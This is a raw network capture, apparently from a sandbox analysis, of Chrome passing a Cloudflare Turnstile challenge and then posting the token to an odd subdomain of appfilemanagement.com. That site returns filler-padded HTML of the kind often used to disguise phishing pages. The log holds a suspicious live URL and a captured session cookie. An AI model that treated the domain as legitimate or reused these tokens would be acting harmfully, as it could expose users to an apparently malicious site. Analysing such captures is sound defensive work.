2025-01-14 19:04:31 UTC	428	OUT	GET /cdn-cgi/challenge-platform/h/b/i/901fe449df1f4249/1736881467630/MAS4OqHmnlGv_QN HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:31 UTC	200	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:31 GMT Content-Type: image/png Content-Length: 61 Connection: close Server: cloudflare CF-RAY: 901fe46bab3e8c95-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:31 UTC	61	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 51 00 00 00 20 08 02 00 00 00 e5 93 03 05 00 00 00 04 49 44 41 54 00 00 00 01 9d 24 d7 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRQ IDAT$IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	50068	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:31 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:32 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 19:04:32 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: BP0VMa9RZjsikZsxBmQvZZ/fdaNRkDv16I4AyifrVJmdxXB4IL268fCc0Jv9BHUEjsUBQg/QinocgW3E+jGTyw==$xqmEk9/hnQKBASvKDXl1sQ== Server: cloudflare CF-RAY: 901fe47018a28c15-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:32 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.4	50069	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:41 UTC	1171	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34847 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:41 UTC	16384	OUT	Data Raw: 76 5f 39 30 31 66 65 34 34 39 64 66 31 66 34 32 34 39 3d 38 41 6d 36 59 53 55 78 62 6b 41 45 41 45 67 41 55 54 55 6b 64 42 58 48 45 78 55 39 45 74 36 50 41 63 43 45 54 36 6b 31 25 32 62 36 55 50 2b 45 2b 36 31 44 41 53 61 56 57 45 63 45 31 6c 36 45 67 6d 45 24 36 58 43 45 41 68 42 55 5a 45 4b 36 6c 55 2d 45 44 35 79 32 6d 42 36 55 78 45 58 36 54 74 43 61 72 42 63 78 79 45 6b 57 79 75 6d 48 6b 55 38 72 71 45 37 36 54 48 45 78 36 4d 49 42 45 77 58 6c 45 4d 45 34 73 4d 4a 67 67 54 50 4d 36 45 46 75 45 45 38 66 31 41 74 6b 62 45 4b 62 6f 5a 6a 2d 75 4d 57 45 63 6f 37 30 79 72 6b 73 54 24 39 31 44 5a 74 24 58 44 75 59 45 45 79 68 33 53 6c 78 54 6d 75 7a 63 6b 74 31 6d 6d 49 2d 66 69 6b 31 31 2b 4e 54 64 37 4a 42 53 52 37 74 5a 4d 58 4e 5a 38 77 42 73 4b 43 49 Data Ascii: v_901fe449df1f4249=8Am6YSUxbkAEAEgAUTUkdBXHExU9Et6PAcCET6k1%2b6UP+E+61DASaVWEcE1l6EgmE$6XCEAhBUZEK6lU-ED5y2mB6UxEX6TtCarBcxyEkWyumHkU8rqE76THEx6MIBEwXlEME4sMJggTPM6EFuEE8f1AtkbEKboZj-uMWEco70yrksT$91DZt$XDuYEEyh3SlxTmuzckt1mmI-fik11+NTd7JBSR7tZMXNZ8wBsKCI
2025-01-14 19:04:41 UTC	16384	OUT	Data Raw: 36 53 6d 45 64 45 2d 36 54 45 6d 6f 48 6c 63 33 45 33 45 53 45 78 36 58 65 61 50 55 47 45 4a 45 45 7a 56 63 55 42 36 4b 72 45 69 45 51 36 61 4c 56 72 45 33 42 55 48 55 59 54 4b 42 45 67 45 30 6c 54 45 4b 67 45 63 45 6d 6c 55 6b 55 4e 6d 44 6c 63 43 45 58 45 44 45 55 78 55 50 41 35 53 45 45 45 68 52 6c 55 6b 45 78 39 6b 42 4b 7a 55 68 36 4b 67 63 62 55 6a 45 55 76 61 46 45 30 42 42 62 4b 24 55 66 36 34 6c 63 54 55 43 45 50 45 58 57 47 46 45 72 48 58 6d 55 46 45 78 50 61 48 55 6e 45 44 49 63 6c 63 39 45 4a 45 58 74 55 49 76 33 6d 63 6c 53 45 45 52 59 6c 63 36 36 42 62 63 54 45 6a 42 42 41 45 51 56 53 36 64 66 54 75 72 56 45 6b 42 58 35 45 59 31 34 45 58 63 56 2d 63 78 36 61 50 55 4a 6b 52 42 6d 35 45 45 57 5a 48 67 33 55 33 45 35 41 54 33 45 55 48 44 49 4b Data Ascii: 6SmEdE-6TEmoHlc3E3ESEx6XeaPUGEJEEzVcUB6KrEiEQ6aLVrE3BUHUYTKBEgE0lTEKgEcEmlUkUNmDlcCEXEDEUxUPA5SEEEhRlUkEx9kBKzUh6KgcbUjEUvaFE0BBbK$Uf64lcTUCEPEXWGFErHXmUFExPaHUnEDIclc9EJEXtUIv3mclSEERYlc66BbcTEjBBAEQVS6dfTurVEkBX5EY14EXcV-cx6aPUJkRBm5EEWZHg3U3E5AT3EUHDIK
2025-01-14 19:04:41 UTC	2079	OUT	Data Raw: 64 45 46 69 7a 47 37 53 38 44 6d 34 44 76 65 30 41 55 77 2b 49 4e 4c 4b 63 57 45 72 31 6d 31 62 37 6d 73 36 36 4d 59 6b 45 4e 49 45 2d 35 4b 6f 39 6c 55 36 45 36 57 55 41 45 57 6e 6e 45 50 64 58 35 45 54 45 34 45 45 35 75 46 5a 57 41 63 62 55 78 45 5a 6c 61 64 55 6a 45 38 4b 76 72 72 64 6d 6f 6d 55 64 72 42 57 68 47 4e 34 45 72 4a 33 65 62 30 51 24 33 6f 64 54 76 55 66 45 51 45 47 53 49 79 45 34 6c 61 6d 78 77 66 37 54 30 70 6f 77 71 77 45 4b 36 6e 39 45 34 35 45 48 2d 78 4c 61 59 73 4c 4d 37 67 6c 42 63 73 73 30 45 76 33 2b 36 45 7a 45 32 77 6e 54 24 33 43 6b 45 54 6f 6f 63 72 7a 2d 4e 4b 39 33 45 58 62 44 34 53 2d 42 35 36 61 36 35 72 4a 55 45 4b 72 45 73 36 50 36 63 37 50 79 45 44 68 6b 4a 63 6e 4d 65 35 58 69 51 41 75 71 6d 45 43 42 74 45 34 35 55 76 Data Ascii: dEFizG7S8Dm4Dve0AUw+INLKcWEr1m1b7ms66MYkENIE-5Ko9lU6E6WUAEWnnEPdX5ETE4EE5uFZWAcbUxEZladUjE8KvrrdmomUdrBWhGN4ErJ3eb0Q$3odTvUfEQEGSIyE4lamxwf7T0powqwEK6n9E45EH-xLaYsLM7glBcss0Ev3+6EzE2wnT$3CkEToocrz-NK93EXbD4S-B56a65rJUEKrEs6P6c7PyEDhkJcnMe5XiQAuqmECBtE45Uv
2025-01-14 19:04:42 UTC	1357	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:41 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4700 Connection: close cf-chl-out: XJYvShBs1KnLElFdj2aLISjXa/F+BKYs7LpWbzd7QaFdYSb29zmg7Z9AcE3ac7bLP3JhSELQ8r9raMMdpo8onfTNchcL8mT5jGqb4BCgxgw=$kwfIh6P4kFJF4vR2qhamVQ== cf-chl-out-s: C2Tevd+yhwCpdAV8RIEdNebSwAMcucOrP85c1ouawWDhE8Skx7aPkr+uLzQHoATVqBmjm+wAvE4tr8/tLdF4/grsvtf3Mzh1Zqx9orLl8oPFJj4SitRo6LBzIpF3NPy8yg3sJLTlZJzL7EIFAy6uaPcO9Jvs7/EKrsxmD5OFeBAS0c/3FizbjvkVdZXq5H0e8g9fEySekdz46x0HTtoq3Uhn3MuGeT1ArI477BWIiHex8D8eFPaO0MovvJmPOQN9EcOVPMHYomBFrfo+mh3nrGpEuxlKpsWEaVsRXYSJswlK4J3B+tvNgWkcbZ1uqm8h7hcHNmoMW38tJpDci3VzR7IkbdZuYkVEQfUab6r1ZZ6enzm0aHUsNO4K/hW5y0MUlweJ5K1VETMtwbEh3lSLcwsvRj+LTdLVtJCgJ0/lOJQw8P8at5ddPmhwzq/AbuuYxAKSbb3dZ0Kiuaw76c7ta/Wy0SUzlmAn2lZSANJQ463RHDethmy+kYNVMBWjQO6AUhVBR+YEzqfFW9P8pg6+SxVAavAmTWBTsYG6iwEsNy5wC6doL5GuHkWt732GzQunV+SaQruw9EBlteDM+wS5Bn7O4Cg8PpTxpGy3F5yWZSFxdARDfXLa9mVrHmV/PXcm2xNgom4CkExJeDLjwrQIH3WppuuTvV7muH9AwU3zTjkMFOotYVXd1a5UkrSItyqG0wYLRh9FQUCxMOD3z8F1+ZTCIYz6xDettfCFB+4Srg1ucITpZJwbN44E7dXm5UCIfz9j6aIjwYK8XQ7XhPZJvotvj0ua1yTojp8Q6AZ61G7R5WQKxYegAfE1msi5IDvrNq5q3d10lI3pDGTP8TrglaDR6d3VcDIrBstmLUnDJLpFDGRvachDV5lTLS+y5PMXi4XVvhW5YUfj2hfbBX6EQ67akQMfT2HrQjxlKjDF1I6BasLRqvsqiIeFqymz7VGA9qcaGs9N/ODq3b32YIBsrQ==$HR+uyLTlwWlTLHvwWb13Nw== Server: cloudflare CF-RAY: 901fe4ad4abaf799-EWR
2025-01-14 19:04:42 UTC	32	IN	Data Raw: 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:42 UTC	1349	IN	Data Raw: 57 49 79 41 57 6e 69 4e 68 35 42 54 62 49 2b 57 56 58 56 37 69 6f 69 4d 64 48 61 4e 6c 31 74 74 6c 49 5a 38 70 4a 4a 69 70 48 57 59 6a 58 65 74 6f 6d 70 37 65 36 6d 6c 69 6e 52 77 71 71 68 36 6c 4a 69 73 66 70 6c 34 76 48 36 65 6b 59 61 69 68 6e 75 45 78 4c 75 56 6d 71 36 63 77 4a 36 75 6e 4e 4c 41 73 61 66 49 6b 5a 69 54 71 72 4f 76 75 61 32 7a 74 4b 4b 58 6e 4f 44 57 35 71 48 4d 74 4b 50 73 78 4c 7a 77 72 65 44 4b 38 4f 48 4c 30 4f 7a 4f 2f 4e 58 76 39 63 6e 61 7a 74 50 65 77 72 73 45 41 66 65 2f 78 65 7a 43 35 65 48 4e 33 4d 66 4d 30 39 38 56 34 76 4c 6e 43 68 58 59 30 2b 6e 33 36 75 38 53 48 2f 37 76 39 51 49 6b 2b 79 44 6b 42 41 7a 37 2b 75 67 52 4c 41 66 74 48 77 38 6c 4e 79 62 79 4e 77 77 61 44 2f 6f 73 4e 67 49 73 46 78 55 78 4f 43 67 42 51 79 49 Data Ascii: WIyAWniNh5BTbI+WVXV7ioiMdHaNl1ttlIZ8pJJipHWYjXetomp7e6mlinRwqqh6lJisfpl4vH6ekYaihnuExLuVmq6cwJ6unNLAsafIkZiTqrOvua2ztKKXnODW5qHMtKPsxLzwreDK8OHL0OzO/NXv9cnaztPewrsEAfe/xezC5eHN3MfM098V4vLnChXY0+n36u8SH/7v9QIk+yDkBAz7+ugRLAftHw8lNybyNwwaD/osNgIsFxUxOCgBQyI
2025-01-14 19:04:42 UTC	1369	IN	Data Raw: 31 70 54 55 46 70 77 57 48 57 45 65 47 35 6f 58 6e 39 73 62 6b 2b 44 59 48 35 68 65 58 6c 61 55 33 46 72 6b 59 32 4f 67 46 71 57 6b 5a 75 53 64 49 69 66 67 35 6d 4d 6f 6f 74 73 6b 4b 57 44 6e 70 4f 51 6c 6d 36 4e 69 47 79 50 6d 36 36 32 6d 37 43 30 65 6e 79 5a 75 73 47 2f 73 59 57 72 79 4c 6a 4f 77 62 7a 41 78 63 61 67 79 4b 2b 72 31 4c 6a 4e 79 5a 62 45 6d 62 75 64 77 62 4c 56 6d 38 53 7a 34 4b 48 54 79 4f 43 6d 79 37 75 67 76 73 50 6f 7a 2b 6a 45 72 76 62 42 36 74 66 35 73 75 6d 34 75 66 76 7a 76 65 4c 30 39 51 66 67 33 66 58 44 36 4f 76 39 44 2f 72 61 42 63 72 6f 38 2b 63 4e 45 67 54 35 31 4e 62 53 2f 4e 59 4b 31 66 62 76 2b 41 41 5a 42 68 58 67 46 76 50 71 35 68 33 39 42 43 59 51 41 67 30 52 48 51 50 32 4d 41 38 46 4c 69 59 75 2b 42 67 78 4c 69 41 4c Data Ascii: 1pTUFpwWHWEeG5oXn9sbk+DYH5heXlaU3FrkY2OgFqWkZuSdIifg5mMootskKWDnpOQlm6NiGyPm662m7C0enyZusG/sYWryLjOwbzAxcagyK+r1LjNyZbEmbudwbLVm8Sz4KHTyOCmy7ugvsPoz+jErvbB6tf5sum4ufvzveL09Qfg3fXD6Ov9D/raBcro8+cNEgT51NbS/NYK1fbv+AAZBhXgFvPq5h39BCYQAg0RHQP2MA8FLiYu+BgxLiAL
2025-01-14 19:04:42 UTC	1369	IN	Data Raw: 31 54 5a 48 39 61 52 58 74 4e 62 30 75 4c 63 56 56 75 61 33 64 69 64 33 4e 30 57 5a 35 32 6e 4a 78 69 66 56 79 67 6b 34 4e 67 69 71 6d 46 6e 34 4e 33 69 4b 53 47 70 34 79 7a 74 6f 4e 33 67 6e 71 45 6b 33 65 63 6e 4c 4f 31 6e 34 43 51 6c 5a 69 67 74 72 2b 2b 70 73 57 47 6d 38 69 5a 6f 59 75 30 79 49 2b 54 76 38 71 55 72 4c 62 4f 71 71 2f 4f 30 63 48 64 6f 74 61 66 32 36 57 39 32 62 53 37 77 72 7a 75 75 63 62 4c 79 4e 76 45 72 2b 4c 51 32 4f 36 36 73 63 79 31 75 76 76 76 75 38 47 37 39 75 62 36 34 50 59 41 79 63 66 31 41 2f 62 69 42 64 76 45 33 50 58 6d 41 2b 54 33 31 66 72 53 44 65 34 4f 45 77 38 59 33 67 34 46 47 67 55 48 46 77 66 6d 4a 68 73 4a 47 78 45 52 4b 53 33 72 4a 75 38 69 37 79 63 49 45 50 55 6f 48 66 34 34 4d 76 76 2b 4e 42 73 6c 41 7a 38 35 50 Data Ascii: 1TZH9aRXtNb0uLcVVua3did3N0WZ52nJxifVygk4NgiqmFn4N3iKSGp4yztoN3gnqEk3ecnLO1n4CQlZigtr++psWGm8iZoYu0yI+Tv8qUrLbOqq/O0cHdotaf26W92bS7wrzuucbLyNvEr+LQ2O66scy1uvvvu8G79ub64PYAycf1A/biBdvE3PXmA+T31frSDe4OEw8Y3g4FGgUHFwfmJhsJGxERKS3rJu8i7ycIEPUoHf44Mvv+NBslAz85P
2025-01-14 19:04:42 UTC	613	IN	Data Raw: 77 54 6f 68 70 54 34 31 53 69 6e 64 72 69 58 31 74 6c 6f 64 2f 63 49 70 30 6d 48 61 56 6c 59 65 5a 58 48 4f 67 65 49 39 6f 67 36 56 79 6e 5a 79 45 71 6f 53 6b 6d 4c 52 32 6e 49 75 6f 65 35 57 78 66 6e 57 31 66 59 47 42 74 4a 65 36 6e 62 6d 73 7a 71 57 67 69 72 32 39 78 4b 54 49 79 4d 61 70 7a 72 53 79 30 62 4b 57 73 35 79 66 72 39 4f 77 34 4b 54 56 70 4c 76 6a 77 72 33 4c 35 2b 50 6c 78 2b 48 56 31 4e 4c 30 35 39 6d 35 37 4e 7a 61 75 75 2f 7a 39 72 6d 2f 38 74 50 59 33 66 48 43 76 4e 2f 68 42 51 76 33 42 4f 45 48 38 41 41 58 45 74 58 74 30 2f 4c 56 45 42 4c 61 33 41 41 42 45 74 72 36 47 79 62 64 2b 50 51 45 47 53 48 6e 49 77 63 47 2b 2b 34 66 46 43 6f 4d 4d 53 55 4b 4f 53 30 64 44 69 73 4b 4d 54 6b 63 50 6a 51 41 4f 54 59 65 41 79 63 48 49 30 34 4f 54 43 Data Ascii: wTohpT41SindriX1tlod/cIp0mHaVlYeZXHOgeI9og6VynZyEqoSkmLR2nIuoe5WxfnW1fYGBtJe6nbmszqWgir29xKTIyMapzrSy0bKWs5yfr9Ow4KTVpLvjwr3L5+Plx+HV1NL059m57Nzauu/z9rm/8tPY3fHCvN/hBQv3BOEH8AAXEtXt0/LVEBLa3AABEtr6Gybd+PQEGSHnIwcG++4fFCoMMSUKOS0dDisKMTkcPjQAOTYeAycHI04OTC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50072	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:42 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/282746570:1736878407:6NUHQNHVNExjeM8x22k-7ZiRSYvlmuC0stdwFV5k-c4/901fe449df1f4249/EfjjFtAJdx8I55BXq6uhGw1FUcYiyapt6R8vUHuEH0Y-1736881465-1.1.1.1-W6JWBCocOpBpxYXYP3BMoQx9iA_BI9bntS8gph8EdBIVYoI4_II_ox5arx7Ok.qi HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:42 UTC	442	IN	HTTP/1.1 400 Bad Request Date: Tue, 14 Jan 2025 19:04:42 GMT Content-Type: application/json Content-Length: 14 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: BCK0c5ctXQ5XdFNqWImX/qF7iewzPulL9UpZblXu7WYvk5YCf/xhEWiDypThTdBHsJjJBQ1oso6KWULs1i0FGQ==$uVoQpJErbdIUinCel6uzdw== Server: cloudflare CF-RAY: 901fe4b2785d43fb-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:42 UTC	14	IN	Data Raw: 7b 22 65 72 72 22 3a 31 30 30 32 33 30 7d Data Ascii: {"err":100230}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.4	50074	104.21.64.1	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:44 UTC	933	OUT	POST /cwVGt/ HTTP/1.1 Host: nbgybnlh.appfilemanagement.com Connection: keep-alive Content-Length: 923 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: https://nbgybnlh.appfilemanagement.com Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: https://nbgybnlh.appfilemanagement.com/cwVGt/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=4ram4cvd5lkalobrc8rdv84osm
2025-01-14 19:04:44 UTC	923	OUT	Data Raw: 63 66 2d 74 75 72 6e 73 74 69 6c 65 2d 72 65 73 70 6f 6e 73 65 3d 30 2e 46 36 4a 4c 37 2d 54 2d 71 5f 6c 49 49 2d 68 78 41 49 33 5f 57 5f 4c 59 37 78 70 45 56 39 4f 62 51 43 69 50 32 46 56 63 4c 58 6a 6c 63 51 4f 68 7a 4f 31 57 6c 55 33 59 71 73 4e 6d 71 73 49 64 59 48 6c 37 48 67 44 73 75 37 76 4a 69 35 45 51 4c 46 76 56 67 4d 4e 2d 4b 50 58 6d 55 42 31 48 4c 45 4d 4d 71 42 56 45 53 42 64 6e 73 63 6c 50 6f 6b 43 44 65 52 51 6e 68 4b 4b 67 59 68 78 32 49 47 73 35 54 56 34 47 47 59 51 6c 6f 6e 74 46 52 54 77 6b 4c 57 6c 69 46 73 64 4d 52 34 2d 57 61 4c 49 6c 37 68 48 58 39 39 55 78 6c 30 4a 36 69 68 62 46 50 58 70 6a 61 79 31 6d 44 69 59 63 6c 35 4b 39 39 5f 68 30 5a 6f 41 63 32 62 61 64 63 57 4e 50 6d 7a 74 36 56 64 6d 68 47 6b 5f 68 66 50 36 6b 7a 57 41 Data Ascii: cf-turnstile-response=0.F6JL7-T-q_lII-hxAI3_W_LY7xpEV9ObQCiP2FVcLXjlcQOhzO1WlU3YqsNmqsIdYHl7HgDsu7vJi5EQLFvVgMN-KPXmUB1HLEMMqBVESBdnsclPokCDeRQnhKKgYhx2IGs5TV4GGYQlontFRTwkLWliFsdMR4-WaLIl7hHX99Uxl0J6ihbFPXpjay1mDiYcl5K99_h0ZoAc2badcWNPmzt6VdmhGk_hfP6kzWA
2025-01-14 19:04:44 UTC	949	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.0.30 Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Qu%2FJCwH5QS35XQJW6HPOaCwdPGVEcdWV9hiuJ0gQ%2FsqfDMlupQ9FpoxmgLHyNBjTNRRTS9MdhVBlgFNI3ybDO73F6GFGkvviVBplQMJ9G%2FtQFyoU3FoW7Gv1pljQ77abli8UCICjnTFKZAm2HOar3mE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 901fe4bbbd1dc358-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=349746&min_rtt=349645&rtt_var=131320&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2856&recv_bytes=2456&delivery_rate=8331&cwnd=155&unsent_bytes=0&cid=e85fbf35a619e42f&ts=1016&x=0"
2025-01-14 19:04:44 UTC	420	IN	Data Raw: 33 35 62 62 0d 0a 3c 21 2d 2d 20 3c 73 70 61 6e 3e 45 69 75 73 6d 6f 64 20 6d 69 6e 69 6d 20 69 6e 2c 20 63 68 69 73 6c 69 63 20 74 6f 6e 67 75 65 20 63 68 75 63 6b 20 64 6f 6c 6f 72 65 20 68 61 6d 20 6c 61 6e 64 6a 61 65 67 65 72 20 70 69 63 61 6e 68 61 20 63 61 70 69 63 6f 6c 61 20 68 61 6d 62 75 72 67 65 72 20 64 6f 6c 6f 72 65 2e 20 50 72 6f 73 63 69 75 74 74 6f 20 61 75 74 65 20 6c 61 62 6f 72 65 2c 20 61 6e 64 6f 75 69 6c 6c 65 20 76 6f 6c 75 70 74 61 74 65 20 6e 6f 73 74 72 75 64 20 6b 65 76 69 6e 20 64 75 69 73 20 64 72 75 6d 73 74 69 63 6b 2e 20 46 6c 61 6e 6b 20 69 6e 20 65 75 20 6d 65 61 74 62 61 6c 6c 2c 20 63 75 6c 70 61 20 71 75 69 73 20 70 69 63 61 6e 68 61 20 63 6f 72 6e 65 64 20 62 65 65 66 20 73 70 61 72 65 20 72 69 62 73 20 69 72 75 72 Data Ascii: 35bb... <span>Eiusmod minim in, chislic tongue chuck dolore ham landjaeger picanha capicola hamburger dolore. Prosciutto aute labore, andouille voluptate nostrud kevin duis drumstick. Flank in eu meatball, culpa quis picanha corned beef spare ribs irur
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 65 73 61 6f 6c 61 20 63 68 69 73 6c 69 63 20 62 72 69 73 6b 65 74 20 75 74 20 70 61 6e 63 65 74 74 61 2e 20 4c 61 62 6f 72 65 20 74 72 69 2d 74 69 70 20 64 6f 6c 6f 72 20 67 72 6f 75 6e 64 20 72 6f 75 6e 64 20 72 65 70 72 65 68 65 6e 64 65 72 69 74 2e 20 45 78 65 72 63 69 74 61 74 69 6f 6e 20 74 2d 62 6f 6e 65 20 62 65 65 66 20 72 69 62 73 20 63 68 69 63 6b 65 6e 2c 20 6c 61 62 6f 72 75 6d 20 66 75 67 69 61 74 20 64 72 75 6d 73 74 69 63 6b 20 68 61 6d 20 73 65 64 20 61 75 74 65 20 73 68 6f 72 74 20 72 69 62 73 20 73 69 6e 74 20 66 61 74 62 61 63 6b 20 62 6f 75 64 69 6e 2e 20 54 2d 62 6f 6e 65 20 73 69 6e 74 20 70 69 67 2c 20 62 72 69 73 6b 65 74 20 64 65 73 65 72 75 6e 74 20 62 6f 75 64 69 6e 20 73 65 64 20 76 65 6c 69 74 20 61 6e 69 6d 20 74 65 6e 64 65 Data Ascii: esaola chislic brisket ut pancetta. Labore tri-tip dolor ground round reprehenderit. Exercitation t-bone beef ribs chicken, laborum fugiat drumstick ham sed aute short ribs sint fatback boudin. T-bone sint pig, brisket deserunt boudin sed velit anim tende
2025-01-14 19:04:44 UTC	1369	IN	Data Raw: 72 20 6a 65 72 6b 79 20 6e 6f 73 74 72 75 64 20 64 6f 6c 6f 72 65 2e 20 45 75 20 6d 6f 6c 6c 69 74 20 66 61 74 62 61 63 6b 20 63 6f 6e 73 65 63 74 65 74 75 72 20 73 61 75 73 61 67 65 20 63 69 6c 6c 75 6d 2e 20 49 70 73 75 6d 20 73 68 61 6e 6b 6c 65 20 6c 61 62 6f 72 75 6d 20 75 74 2e 20 50 6f 72 6b 20 75 74 20 69 64 2c 20 61 6e 64 6f 75 69 6c 6c 65 20 66 6c 61 6e 6b 20 68 61 6d 20 68 6f 63 6b 20 70 6f 72 6b 20 6c 6f 69 6e 20 61 75 74 65 20 6d 65 61 74 62 61 6c 6c 2e 20 43 75 6c 70 61 20 73 74 72 69 70 20 73 74 65 61 6b 20 73 61 75 73 61 67 65 2c 20 62 72 65 73 61 6f 6c 61 20 72 69 62 65 79 65 20 74 72 69 2d 74 69 70 20 69 6e 20 73 77 69 6e 65 2e 20 4c 61 6e 64 6a 61 65 67 65 72 20 6c 61 62 6f 72 65 20 69 6e 63 69 64 69 64 75 6e 74 20 70 61 73 74 72 61 6d Data Ascii: r jerky nostrud dolore. Eu mollit fatback consectetur sausage cillum. Ipsum shankle laborum ut. Pork ut id, andouille flank ham hock pork loin aute meatball. Culpa strip steak sausage, bresaola ribeye tri-tip in swine. Landjaeger labore incididunt pastram
